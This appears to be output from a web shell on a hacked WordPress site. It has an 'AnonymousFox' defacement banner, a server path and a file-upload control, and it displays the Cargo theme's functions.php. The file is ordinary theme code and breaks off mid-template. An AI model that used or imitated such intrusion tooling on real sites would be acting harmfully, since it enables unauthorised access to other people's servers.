Hacked By AnonymousFox

Current Path : /proc/thread-self/root/home/allslyeo/locallogistics.net/wp-content/themes/cargo/
Upload File :
Current File : //proc/thread-self/root/home/allslyeo/locallogistics.net/wp-content/themes/cargo/functions.php

<?php

if ( ! class_exists( 'CargoTheme' ) ) {
	
	class CargoTheme {
	
		/**
	     * Constructor
	     */
		function __construct() {
		
			// Register action/filter callbacks
			
			add_action( 'after_setup_theme', array( $this, 'bt_init' ) );
			add_action( 'wp_head', array( $this, 'bt_set_global_uri' ) );
			add_action( 'widgets_init', array( $this, 'bt_widgets_init' ) );
			add_action( 'wp_enqueue_scripts', array( $this, 'bt_enqueue_scripts_styles' ) );
			add_action( 'wp_footer', array( $this, 'bt_buggyfill_function' ), 20 );
			add_action( 'customize_controls_enqueue_scripts', array( $this, 'bt_media_script' ) );
			add_action( 'wp_print_scripts', array( $this, 'bt_de_script' ), 100 );
			add_action( 'wp_enqueue_scripts', array( $this, 'bt_load_fonts' ) );
			add_action( 'admin_head', array( $this, 'bt_admin_style' ) );
			add_action( 'customize_controls_print_styles', array( $this, 'bt_admin_customize_style' ) );
			add_action( 'tgmpa_register', array( $this, 'bt_theme_register_required_plugins' ) );
			
			add_filter( 'get_search_form', array( $this, 'bt_search_form' ) );
			add_filter( 'the_content_more_link', array( $this, 'bt_remove_more_link_scroll' ) );
			add_filter( 'wp_list_categories', array( $this, 'bt_cat_count_span' ) );
			add_filter( 'get_archives_link', array( $this, 'bt_arch_count_span' ) );
			add_filter( 'style_loader_tag', array( $this, 'bt_style_loader_tag_function' ) );
			add_filter( 'script_loader_tag', array( $this, 'bt_script_loader_tag_function' ) );
			add_filter( 'wp_nav_menu_items', array( $this, 'bt_remove_menu_item_whitespace' ) );
			add_filter( 'wp_video_shortcode', array( $this, 'bt_wp_video_shortcode' ), 10, 5 );
			add_filter( 'wp_video_shortcode_library', array( $this, 'bt_wp_video_shortcode_library' ) );
			add_filter( 'wp_audio_shortcode_library', array( $this, 'bt_wp_audio_shortcode_library' ) );
			add_filter( 'wp_title', array( $this, 'bt_title' ) );
		}
		 
		/**
	     * Theme setup
	     */
		function bt_init() {
		
			// add theme support
			add_theme_support( 'automatic-feed-links' );
			add_theme_support( 'post-thumbnails', array( 'post', 'page', 'portfolio' ) );
			add_theme_support( 'html5', array( 'comment-list', 'comment-form', 'search-form', 'gallery', 'caption' ) );
			add_theme_support( 'post-formats', array( 'image', 'gallery', 'video', 'audio', 'link', 'quote' ) );
			add_theme_support( 'title-tag' );
			
			// register navigation menus
			register_nav_menus( array (
				'primary' => esc_html__( 'Primary Menu', 'cargo' ),
				'footer' => esc_html__( 'Footer Menu', 'cargo' )
			));
			
			// load translated strings
			load_theme_textdomain( 'cargo', get_template_directory() . '/languages' );
			
			// date format
			global $bt_date_format;
			$bt_date_format = get_option( 'date_format' );

			// image sizes
			update_option( 'thumbnail_size_w', 160 );
			update_option( 'thumbnail_size_h', 160 );
			update_option( 'medium_size_w', 320 );
			update_option( 'medium_size_h', 0 );
			update_option( 'large_size_w', 1200 );
			update_option( 'large_size_h', 0 );

			add_image_size( 'bt_grid', 540 );

			add_image_size( 'bt_grid_11', 540, 540, true );
			add_image_size( 'bt_grid_22', 1080, 1080, true );
			add_image_size( 'bt_grid_21', 1080, 540, true );
			add_image_size( 'bt_grid_12', 540, 1080, true );

			add_image_size( 'bt_latest_posts', 640, 480, true );			
			
		}
		
		// callbacks
		
		/**
		 * Set JS AJAX URL and JS text labels
		 */
		function bt_set_global_uri() {
			echo '<script>';
			echo 'window.BTURI = "' . esc_js( get_template_directory_uri() ) . '"; window.BTAJAXURL = "' . esc_js( admin_url( 'admin-ajax.php' ) ) . '";';
			echo 'window.bt_text = [];';
			echo 'window.bt_text.previous = \'' . esc_html__( 'previous', 'cargo' ) . '\';';
			echo 'window.bt_text.next = \'' . esc_html__( 'next', 'cargo' ) . '\';';		
			echo '</script>';
		}
		
		/**
		 * Remove Recent Comments widget style and register sidebar and widget areas
		 */
		function bt_widgets_init() {  
			global $wp_widget_factory;  
			remove_action( 'wp_head', array( $wp_widget_factory->widgets['WP_Widget_Recent_Comments'], 'recent_comments_style' ) );
			
			register_sidebar( array (
				'name' 			=> esc_html__( 'Sidebar', 'cargo' ),
				'id' 			=> 'primary_widget_area',
				'description' 	=> '',
				'before_widget' => '<div class="btBox %2$s">',
				'after_widget' 	=> '</div>',
				'before_title' 	=> '<h4><span>',
				'after_title' 	=> '</span></h4>',
			));
			
			register_sidebar( array (
				'name' 			=> esc_html__( 'Header Left Widgets', 'cargo' ),
				'id' 			=> 'header_left_widgets'
			));
			
			register_sidebar( array (
				'name' 			=> esc_html__( 'Header Right Widgets', 'cargo' ),
				'id' 			=> 'header_right_widgets',
				'before_widget' => '<div class="btTopBox %2$s">',
				'after_widget' 	=> '</div>'
			));			
			
			register_sidebar( array (
				'name' 			=> esc_html__( 'Footer Widgets', 'cargo' ),
				'id' 			=> 'footer_widgets',
				'description' 	=> '',
				'before_widget' => '<div class="btBox %2$s">',
				'after_widget' 	=> '</div>',
				'before_title' 	=> '<h4><span>',
				'after_title' 	=> '</span></h4>',
			));
			
			register_sidebar( array (
				'name' 			=> esc_html__( 'Google Maps Widgets', 'cargo' ),
				'id' 			=> 'gmaps_widgets',
				'description' 	=> '',
				'before_widget' => '<div class="btBox %2$s">',
				'after_widget' 	=> '</div>',
				'before_title' 	=> '<h4><span>',
				'after_title' 	=> '</span></h4>',
			));			
		}
		
		/**
		 * Enqueue scripts and styles
		 */
		function bt_enqueue_scripts_styles() {

			global $boldthemes_crush_vars;
			$boldthemes_crush_vars = array();
			
			global $boldthemes_crush_vars_def;
			$boldthemes_crush_vars_def = array( 'accentColor', 'alternateColor', 'bodyFont', 'headingFont', 'headingSuperTitleFont', 'headingSubTitleFont', 'menuFont' );			

			//custom accent color and font style

			$color = bt_get_option( 'accent_color' );
			$alternate_color = bt_get_option( 'alternate_color' );
			$body_font = urldecode( bt_get_option( 'body_font' ) );
			$heading_font = urldecode( bt_get_option( 'heading_font' ) );
			$heading_supertitle_font = urldecode( bt_get_option( 'heading_supertitle_font' ) );
			$heading_subtitle_font = urldecode( bt_get_option( 'heading_subtitle_font' ) );
			$menu_font = urldecode( bt_get_option( 'menu_font' ) );

			if ( $color != '' ) {
				$boldthemes_crush_vars['accentColor'] = $color;
			}

			if ( $alternate_color != '' ) {
				$boldthemes_crush_vars['alternateColor'] = $alternate_color;
			}
			
			if ( $body_font != 'no_change' ) {
				$boldthemes_crush_vars['bodyFont'] = $body_font;
			}

			if ( $heading_font != 'no_change' ) {
				$boldthemes_crush_vars['headingFont'] = $heading_font;
			}

			if ( $heading_supertitle_font != 'no_change' ) {
				$boldthemes_crush_vars['headingSuperTitleFont'] = $heading_supertitle_font;
			}

			if ( $heading_subtitle_font != 'no_change' ) {
				$boldthemes_crush_vars['headingSubTitleFont'] = $heading_subtitle_font;
			}
			
			if ( $menu_font != 'no_change' ) {
				$boldthemes_crush_vars['menuFont'] = $menu_font;
			}			

			if ( function_exists( 'boldthemes_csscrush_file' ) ) {
				boldthemes_csscrush_file( get_stylesheet_directory() . '/style.css', array( 'source_map' => true, 'minify' => false, 'output_file' => 'style.cargo', 'formatter' => 'block', 'boilerplate' => false,  'plugins' => array( 'loop', 'ease' ) ) );
				boldthemes_csscrush_file( get_stylesheet_directory() . '/style.css', array( 'source_map' => true, 'minify' => true, 'output_file' => 'style.cargo.min', 'boilerplate' => false,  'plugins' => array( 'loop', 'ease' ) ) );
			}
			
			wp_enqueue_style( 'bt_style_css', get_template_directory_uri() . '/style.cargo.min.css', array(), false );
			
			wp_enqueue_style( 'bt_buggyfill_css', get_template_directory_uri() . '/css/viewport-buggyfill.css', array(), false );
			
			// wp_enqueue_style( 'bt_fancy_css', get_template_directory_uri() . '/css/fancySelect.css', array(), false );
			
			wp_enqueue_script( 'bt_modernizr_js', get_template_directory_uri() . '/js/modernizr.custom.js', array( 'jquery' ), '', false );
			wp_enqueue_script( 'bt_buggyfill_js', get_template_directory_uri() . '/js/viewport-units-buggyfill.js', array( 'jquery' ), '', false );
			wp_enqueue_script( 'bt_buggyfill_hacks_js', get_template_directory_uri() . '/js/viewport-units-buggyfill.hacks.js', array( 'jquery' ), '', false );
			wp_enqueue_script( 'bt_magnific_popup', get_template_directory_uri() . '/js/jquery.magnific-popup.min.js', array( 'jquery' ), '', false );
			wp_enqueue_script( 'bt_slick_js', get_template_directory_uri() . '/js/slick.min.js', array( 'jquery' ), '', false );
			wp_enqueue_script( 'bt_select_js', get_template_directory_uri() . '/js/fancySelect.js', array( 'jquery' ), '', false );
			wp_enqueue_script( 'bt_misc_js', get_template_directory_uri() . '/js/misc.js', array( 'jquery' ), '', false ); 
			wp_enqueue_script( 'bt_header_js', get_template_directory_uri() . '/js/header.misc.js', array( 'jquery' ), '', false ); 
			wp_enqueue_script( 'bt_dirhover_js', get_template_directory_uri() . '/js/dir.hover.js', array( 'jquery' ), '', false ); 
			wp_enqueue_script( 'bt_sliders_js', get_template_directory_uri() . '/js/sliders.js', array( 'jquery' ), '', false );
			
			wp_enqueue_script( 'bt_ie9_js1', esc_url_raw( 'http://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.min.js' ), array(), false );
			wp_enqueue_script( 'bt_ie9_js2', esc_url_raw( 'http://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js' ), array(), false );
			
			if ( file_exists( get_template_directory() . '/css_override.php' ) ) {
				require_once( get_template_directory() . '/css_override.php' );
				wp_add_inline_style( 'bt_style_css', $css_override );
			}

		}
		
		/**
		 * Buggyfill script
		 */
		function bt_buggyfill_function() {
			echo '<script>window.viewportUnitsBuggyfill.init({

			// milliseconds to delay between updates of viewport-units
			// caused by orientationchange, pageshow, resize events
			refreshDebounceWait: 250,

			// provide hacks plugin to make the contentHack property work correctly.
			hacks: window.viewportUnitsBuggyfillHacks

			});</script>';
		}
		
		/**
		 * Custom media manager script
		 */
		function bt_media_script() {
			wp_enqueue_media();
			wp_enqueue_script( 'bt_media_manager', get_template_directory_uri() . '/js/media_manager.js', array(), '1.0', true );
		}
		
		/**
		 * Dequeue MetaBox clone script
		 */
		function bt_de_script() {
			wp_dequeue_script( 'rwmb-clone' );
			wp_deregister_script( 'rwmb-clone' );
		}
		
		/**
		 * Loads custom Google Fonts
		 */
		function bt_load_fonts() {
			$body_font = urldecode( bt_get_option( 'body_font' ) );
			$menu_font = urldecode( bt_get_option( 'menu_font' ) );
			$heading_font = urldecode( bt_get_option( 'heading_font' ) );
			$heading_supertitle_font = urldecode( bt_get_option( 'heading_supertitle_font' ) );
			$heading_subtitle_font = urldecode( bt_get_option( 'heading_subtitle_font' ) );
			
			$font_families = array();
			
			if ( $body_font != 'no_change' ) {
				$font_families[] = $body_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
			} else {
				$body_font_state = _x( 'on', 'Raleway font: on or off', 'cargo' );
				if ( 'off' !== $body_font_state ) {
					$font_families[] = 'Raleway' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
				}
			}
			
			if ( $menu_font != 'no_change' ) {
				$font_families[] = $menu_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
			} else {
				$menu_font_state = _x( 'on', 'Lato font: on or off', 'cargo' );
				if ( 'off' !== $menu_font_state ) {
					$font_families[] = 'Lato' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
				}
			}			
			
			if ( $heading_font != 'no_change' ) {
				$font_families[] = $heading_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
			} else {
				$heading_font_state = _x( 'on', 'Lato font: on or off', 'cargo' );
				if ( 'off' !== $heading_font_state ) {
					$font_families[] = 'Lato' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
				}
			}
			
			if ( $heading_supertitle_font != 'no_change' ) {
				$font_families[] = $heading_supertitle_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
			} else {
				$heading_supertitle_font_state = _x( 'on', 'Raleway font: on or off', 'cargo' );
				if ( 'off' !== $heading_supertitle_font_state ) {
					$font_families[] = 'Raleway' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
				}
			}
			
			if ( $heading_subtitle_font != 'no_change' ) {
				$font_families[] = $heading_subtitle_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
			} else {
				$heading_subtitle_font_state = _x( 'on', 'Raleway font: on or off', 'cargo' );
				if ( 'off' !== $heading_subtitle_font_state ) {
					$font_families[] = 'Raleway' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic';
				}
			}			

			if ( count( $font_families ) > 0  ) {
				$query_args = array(
					'family' => urlencode( implode( '|', $font_families ) ),
					'subset' => urlencode( 'latin,latin-ext' ),
				);
				$font_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
				wp_enqueue_style( 'bt_fonts', $font_url, array(), '1.0.0' );
			}
		}

		/**
		 * MetaBox custom style
		 */
		function bt_admin_style() {
			echo '<style>
				.rwmb-meta-box input[type="text"], .rwmb-meta-box select {
					width:250px;
				}
				.rwmb-meta-box input[type="text"].bt_bttext {
					width:250px;
				}
			</style>';
		}
		
		/**
		 * Customize custom style
		 */
		function bt_admin_customize_style() {
			echo '<style>
				.customize-control-image, .customize-control-text, .customize-control-select, 
				.customize-control-radio, .customize-control-checkbox, .customize-control-color {
					padding-top:5px;
					padding-bottom:5px;
				}
			</style>';
		}
		
		/**
		 * Register the required plugins for this theme
		 */
		function bt_theme_register_required_plugins() {

			$plugins = array(
		 
				array(
					'name'               => 'Cargo', // The plugin name.
					'slug'               => 'cargo', // The plugin slug (typically the folder name).
					'source'             => get_template_directory() . '/plugins/cargo.zip', // The plugin source.
					'required'           => true, // If false, the plugin is only 'recommended' instead of required.
					'version'            => '1.0.1', // E.g. 1.0.0. If set, the active plugin must be this version or higher.
					'force_activation'   => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch.
					'force_deactivation' => true, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins.
					'external_url'       => '', // If set, overrides default API URL and points to an external URL.
				),
				array(
					'name'               => 'Cost Calculator', // The plugin name.
					'slug'               => 'bt_cost_calculator', // The plugin slug (typically the folder name).
					'source'             => get_template_directory() . '/plugins/bt_cost_calculator.zip', // The plugin source.
					'required'           => true, // If false, the plugin is only 'recommended' instead of required.
					'version'            => '1.0.9', // E.g. 1.0.0. If set, the active plugin must be this version or higher.
					'force_activation'   => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch.
					'force_deactivation' => true, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins.
					'external_url'       => '', // If set, overrides default API URL and points to an external URL.
				),				
				array(
					'name'               => 'Rapid Composer', // The plugin name.
					'slug'               => 'rapid_composer', // The plugin slug (typically the folder name).
					'source'             => get_template_directory() . '/plugins/rapid_composer.zip', // The plugin source.
					'required'           => true, // If false, the plugin is only 'recommended' instead of required.
					'version'            => '1.0.9', // E.g. 1.0.0. If set, the active plugin must be this version or higher.
					'force_activation'   => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch.
					'force_deactivation' => true, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins.
					'external_url'       => '', // If set, overrides default API URL and points to an external URL.
				),
				array(
					'name'               => 'BoldThemes WordPress Importer', // The plugin name.
					'slug'               => 'bt_wordpress_importer', // The plugin slug (typically the folder name).
					'source'             => get_template_directory() . '/plugins/bt_wordpress_importer.zip', // The plugin source.
					'required'           => true, // If false, the plugin is only 'recommended' instead of required.
					'version'            => '1.0.1', // E.g. 1.0.0. If set, the active plugin must be this version or higher.
					'force_activation'   => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch.
					'force_deactivation' => true, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins.
					'external_url'       => '', // If set, overrides default API URL and points to an external URL.
				),
				array(
					'name'               => 'Contact Form 7', // The plugin name.
					'slug'               => 'contact-form-7', // The plugin slug (typically the folder name).
					'required'           => true, // If false, the plugin is only 'recommended' instead of required.
					'force_activation'   => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch.
					'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins.
				),
				array(
					'name'               => 'Meta Box', // The plugin name.
					'slug'               => 'meta-box', // The plugin slug (typically the folder name).
					'required'           => true, // If false, the plugin is only 'recommended' instead of required.
					'force_activation'   => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch.
					'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins.
				)			

			);
		 
			$config = array(
				'default_path' => '',                      // Default absolute path to pre-packaged plugins.
				'menu'         => 'tgmpa-install-plugins', // Menu slug.
				'has_notices'  => true,                    // Show admin notices or not.
				'dismissable'  => false,                    // If false, a user cannot dismiss the nag message.
				'dismiss_msg'  => '',                      // If 'dismissable' is false, this message will be output at top of nag.
				'is_automatic' => true,                   // Automatically activate plugins after installation or not.
				'message'      => '',                      // Message to output right before the plugins table.
				'strings'      => array(
					'page_title'                      => esc_html__( 'Install Required Plugins', 'cargo' ),
					'menu_title'                      => esc_html__( 'Install Plugins', 'cargo' ),
					'installing'                      => esc_html__( 'Installing Plugin: %s', 'cargo' ), // %s = plugin name.
					'oops'                            => esc_html__( 'Something went wrong with the plugin API.', 'cargo' ),
					'notice_can_install_required'     => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'cargo' ), // %1$s = plugin name(s).
					'notice_can_install_recommended'  => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'cargo' ), // %1$s = plugin name(s).
					'notice_cannot_install'           => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.', 'cargo' ), // %1$s = plugin name(s).
					'notice_can_activate_required'    => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'cargo' ), // %1$s = plugin name(s).
					'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'cargo' ), // %1$s = plugin name(s).
					'notice_cannot_activate'          => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.', 'cargo' ), // %1$s = plugin name(s).
					'notice_ask_to_update'            => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'cargo' ), // %1$s = plugin name(s).
					'notice_cannot_update'            => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.', 'cargo' ), // %1$s = plugin name(s).
					'install_link'                    => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'cargo' ),
					'activate_link'                   => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'cargo' ),
					'return'                          => esc_html__( 'Return to Required Plugins Installer', 'cargo' ),
					'plugin_activated'                => esc_html__( 'Plugin activated successfully.', 'cargo' ),
					'complete'                        => esc_html__( 'All plugins installed and activated successfully. %s', 'cargo' ), // %s = dashboard link.
					'nag_type'                        => 'updated' // Determines admin notice type - can only be 'updated', 'update-nag' or 'error'.
				)
			);
		 
			tgmpa( $plugins, $config );
		 
		}
		

		/**
		 * Custom search form
		 *
		 * @return string
		 */
		function bt_search_form( $form ) {
			$form = bt_get_icon_html( 'fa_f002', '#', '', 'default extrasmall', '' );
			$form .= '
			<div class="btSearchInner" role="search">
				<div class="btSearchInnerContent">
					<form action="' . home_url( '/' ) . '" method="get"><input type="text" name="s" placeholder="' . esc_attr( esc_html__( 'Looking for...', 'cargo' ) ) . '" class="untouched">
					<button type="submit" data-icon="&#xf105;"></button>
					</form>
					<div class="btSearchInnerClose">' . bt_get_icon_html( 'fa_f00d', '#', '', 'borderless small', '' ) . '</div>
				</div>
			</div>';
			return '<div class="btSearch">' . $form . '</div>';
		}

		/**
		 * Removes more link scroll
		 *
		 * @return string
		 */
		function bt_remove_more_link_scroll( $link ) {
			$link = preg_replace( '|#more-[0-9]+|', '', $link );
			return $link;
		}
		
		/**
		 * Category list custom HTML
		 *
		 * @return string
		 */
		function bt_cat_count_span( $links ) {
			$links = str_replace('</a> (', '</a> <strong>', $links );
			$links = str_replace(')', '</strong>', $links );
			return $links;
		}

		/**
		 * Archive link custom HTML
		 *
		 * @return string 
		 */
		function bt_arch_count_span( $links ) {
			$links = str_replace('&nbsp;(', ' <strong>', $links );
			$links = str_replace(')', '</strong>', $links );
			return $links;
		}
		
		/**
		 * Style loader tag
		 *
		 * @return string
		 */
		function bt_style_loader_tag_function( $tag ) {
			if ( strpos( $tag, 'bt_buggyfill_css' ) === false ) {
				$tag = substr( $tag, 0, -3 ) . ' data-viewport-units-buggyfill="ignore" />';
			}
			return $tag;
		}

		/**
		 * Script loader tag
		 *
		 * @return string 
		 */
		function bt_script_loader_tag_function( $tag ) {
			if ( strpos( $tag, 'html5shiv' ) !== false || strpos( $tag, 'respond.min' ) !== false ) {
				$tag = '<!--[if lt IE 9]>' . $tag . '<![endif]-->';
			}
			return $tag;
		}
		
		/**
		 * Removes whitespace between tags in menu items
		 */
		function bt_remove_menu_item_whitespace( $items ) {
			return preg_replace( '/>(\s|\n|\r)+</', '><', $items );
		}
		
		/**
		 * Video shortcode custom HTML
		 *
		 * @return string
		 */
		function bt_wp_video_shortcode( $item_html, $atts, $video, $post_id, $library ) {
			$replace_value = 'width: ' . $atts['width'] . 'px';
			$replace_with  = 'width: 100%';
			return str_ireplace( $replace_value, $replace_with, $item_html );
		}

		/**
		 * Enqueue video shortcode custom JS
		 *
		 * @return string 
		 */
		function bt_wp_video_shortcode_library() {
			wp_enqueue_style( 'wp-mediaelement' );
			wp_enqueue_script( 'bt_video_shortcode', get_template_directory_uri() . '/js/video_shortcode.js', array( 'mediaelement' ), '', true );
			return 'bt_mejs';
		}

		/**
		 * Enqueue audio shortcode custom JS
		 *
		 * @return string 
		 */
		function bt_wp_audio_shortcode_library() {
			wp_enqueue_style( 'wp-mediaelement' );
			wp_enqueue_script( 'bt_audio_shortcode', get_template_directory_uri() . '/js/audio_shortcode.js', array( 'mediaelement' ), '', true );
			return 'bt_mejs';
		}
		
		/**
		 * Custom wp_title
		 *
		 * @return string
		 */
		function bt_title( $title ) {
			return str_replace( '|', '/', $title );
		}
		
	}

	$cargo_theme = new CargoTheme();

}

// set content width
if ( ! isset( $content_width ) ) {
	$content_width = 1200;
}

// define prefix
if ( ! defined( 'BoldThemesPFX' ) ) {
	define( 'BoldThemesPFX', 'bt_theme' );
}

if ( file_exists( get_template_directory() . '/css-crush/CssCrush.php' ) ) {
	require_once( get_template_directory() . '/css-crush/CssCrush.php' );
} else {
	require_once( get_template_directory() . '/php/BTCrushFunctions.php' );
	require_once( get_template_directory() . '/php/BTCrushUtil.php' );
	require_once( get_template_directory() . '/php/BTCrushColor.php' );
	require_once( get_template_directory() . '/php/BTCrushRegex.php' );
}
require_once( get_template_directory() . '/config-meta-boxes.php' );
require_once( get_template_directory() . '/php/breadcrumbs.php' );
require_once( get_template_directory() . '/php/customization.php' );
require_once( get_template_directory() . '/php/bt_functions.php' );
require_once( get_template_directory() . '/editor-buttons/editor-buttons.php' );
require_once( get_template_directory() . '/class-tgm-plugin-activation.php' );
require_once( get_template_directory() . '/php/Mobile_Detect/Mobile_Detect.php' );

/**
 * Pagination output for post archive
 */
if ( ! function_exists( 'bt_pagination' ) ) {
	function bt_pagination() {
	
		$prev = get_previous_posts_link( esc_html__( 'Newer Posts', 'cargo' ) );
		$next = get_next_posts_link( esc_html__( 'Older Posts', 'cargo' ) );
		
		$pattern = '/(<a href=".*">)(.*)(<\/a>)/';
		
		echo '<div class="btPagination">';
			if ( $prev != '' ) {
				echo '<div class="paging onLeft">';
					echo '<p class="pagePrev">';
						echo preg_replace( $pattern, '<span class="nbsItem"><span class="nbsTitle">$2</span></span>', $prev );
					echo '</p>';
				echo '</div>';
			}
			if ( $next != '' ) {
				echo '<div class="paging onRight">';
					echo '<p class="pageNext">';
						echo preg_replace( $pattern, '<span class="nbsItem"><span class="nbsTitle">$2</span></span>', $next );
					echo '</p>';
				echo '</div>';
			}
		echo '</div>';
	}
}

/**
 * Custom MetaBox input used for Override Global Settings
 */
if ( ! class_exists( 'RWMB_BTText_Field' ) && class_exists( 'RWMB_Field' ) ) {
	class RWMB_BTText_Field extends RWMB_Field {
	
		static function admin_enqueue_scripts() {			
			wp_enqueue_script( 
				'bt_text',
				get_template_directory_uri() . '/js/bt_text.js',
				array( 'jquery' ),
				'',
				true
			);
		}

		static function html( $meta, $field ) {	
			$meta_key = substr( $meta, 0, strpos( $meta, ':' ) );
			$meta_value = substr( $meta, strpos( $meta, ':' ) + 1 );
			$vars = get_class_vars( 'BT_Customize_Default' );
			$select = '<select class="bt_key_select" style="vertical-align:baseline;height:auto;">';
			$select .= '<option value=""></option>';
			foreach ( $vars as $key => $var ) {
				$selected_html = '';
				if ( BoldThemesPFX . '_' . $key == $meta_key ) {
					$selected_html = 'selected="selected"';
				}
				$select .= '<option value="' . esc_attr( BoldThemesPFX . '_' . $key ) . '" ' . $selected_html . '>' . esc_html( $key ) . '</option>';
			}
			$select .= '</select>';
			$input = ' <input type="text" class="bt_value" value="' . esc_attr( $meta_value ) . '">';
			return sprintf(
				'<input type="hidden" class="rwmb-text" name="%s" id="%s" value="%s" placeholder="%s" %s>%s',
				$field['field_name'],
				$field['id'],
				$meta,
				$field['placeholder'],
				//! $field['datalist'] ?  '' : "list='{$field['datalist']['id']}'",
				'',
				self::datalist_html($field)
			) . $select . $input;
		}

		static function normalize_field( $field ) {
			$field = wp_parse_args( $field, array(
				'size'        => 30,
				'datalist'    => false,
				'placeholder' => '',
			) );
			return $field;
		}

		static function datalist_html( $field ) {
			return '';
			/*if( ! $field['datalist'] )
				return '';
			$datalist = $field['datalist'];
			$item_html = sprintf(
				'<datalist id="%s">',
				$datalist['id']
			);

			foreach( $datalist['options'] as $option ) {
				$item_html .= sprintf( '<option value="%s"></option>', $option );
			}

			$item_html .= '</datalist>';

			return $item_html;*/
		}
	}
}

/**
 * Custom MetaBox input used for custom key-value pairs
 */
if ( ! class_exists( 'RWMB_BTText1_Field' ) && class_exists( 'RWMB_Field' ) ) {
	class RWMB_BTText1_Field extends RWMB_Field {
	
		static function admin_enqueue_scripts() {			
			wp_enqueue_script( 
				'bt_text',
				get_template_directory_uri() . '/js/bt_text.js',
				array( 'jquery' ),
				'',
				true
			);
		}

		static function html( $meta, $field ) {
		
			$meta_key = substr( $meta, 0, strpos( $meta, ':' ) );
			$meta_value = substr( $meta, strpos( $meta, ':' ) + 1 );
			
			$vars = get_class_vars( 'BT_Customize_Default' );
			
			$key_input = '<input type="text" class="bt_key" value="' . esc_attr( $meta_key ) . '">';
			
			$input = ' <input type="text" class="bt_value" value="' . esc_attr( $meta_value ) . '">';
			
			return sprintf(
				'<input type="hidden" class="rwmb-text" name="%s" id="%s" value="%s" placeholder="%s" %s>%s',
				$field['field_name'],
				$field['id'],
				$meta,
				$field['placeholder'],
				! $field['datalist'] ?  '' : "list='{$field['datalist']['id']}'",
				self::datalist_html( $field )
			) . $key_input . $input;
		}
		
		static function normalize_field( $field ) {
			$field = wp_parse_args( $field, array(
				'size'        => 30,
				'datalist'    => false,
				'placeholder' => '',
			) );
			return $field;
		}

		static function datalist_html( $field ) {
			if ( ! $field['datalist'] )
				return '';
			$datalist = $field['datalist'];
			$item_html = sprintf(
				'<datalist id="%s">',
				$datalist['id']
			);

			foreach( $datalist['options'] as $option ) {
				$item_html .= sprintf( '<option value="%s"></option>', $option );
			}

			$item_html .= '</datalist>';

			return $item_html;
		}
	}
}

/**
 * Custom comments HTML output
 */
if ( ! function_exists( 'bt_theme_comment' ) ) {
	function bt_theme_comment( $comment, $args, $depth ) {
		$GLOBALS['comment'] = $comment;
		switch ( $comment->comment_type ) :
			case 'pingback' :
			case 'trackback' :
			// Display trackbacks differently than normal comments.
		?>
		<li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>">
			<p><?php esc_html_e( 'Pingback:', 'cargo' ); ?> <?php comment_author_link(); ?> <?php edit_comment_link( esc_html__( '(Edit)', 'cargo' ), '<span class="edit-link">', '</span>' ); ?></p>
		<?php
				break;
			default :
			// Proceed with normal comments.
			global $post;
		?>
		<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
			<article id="comment-<?php comment_ID(); ?>" class = "">
				<?php $avatar_html = get_avatar( $comment, 140 ); 
					if ( $avatar_html != '' ) {
						echo '<div class="commentAvatar">' . $avatar_html . '</div>';
					}
				?>
				<div class="commentTxt">
					<div class="vcard divider">
						<?php
							printf( '<h5 class="author"><span class="fn">%1$s</span></h5>', get_comment_author_link() );
